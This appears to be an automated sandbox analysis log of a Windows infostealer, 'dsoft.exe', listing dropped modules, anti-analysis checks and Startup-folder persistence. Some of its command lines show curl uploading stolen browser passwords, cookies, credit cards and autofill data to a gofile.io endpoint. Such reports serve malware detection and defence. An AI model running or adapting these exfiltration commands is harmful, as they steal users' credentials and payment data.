            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA224.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_arc2.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Pythonwin\win32ui.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_des3.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_decimal.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Protocol\_scrypt.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ctr.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_cast.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_poly1305.pydJump to dropped file
            Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
            Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\
            Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\
            Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\
            Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\
            Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
            Source: dsoft.exe, 00000001.00000003.2007705887.000002948843F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2550698277.0000029488446000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2550988641.0000029488454000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2556741226.0000029488456000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540034386.0000029488445000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2564670780.0000029488458000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWffer%SystemRoot%\system32\mswsock.dll
            Source: dsoft.exe, 00000001.00000003.2007705887.000002948843F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2679719201.000001FA5B864000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2686149501.000001FA5B865000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: curl.exe, 00000009.00000003.2149427215.00000167975E4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: curl.exe, 0000000D.00000003.2186183663.0000022CEC935000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllqq
            Source: C:\Windows\System32\tasklist.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Users\user\Desktop\dsoft.exe "C:\Users\user\Desktop\dsoft.exe"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklistJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFileJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe" Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFileJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Util VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_ctypes.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_bz2.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_lzma.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
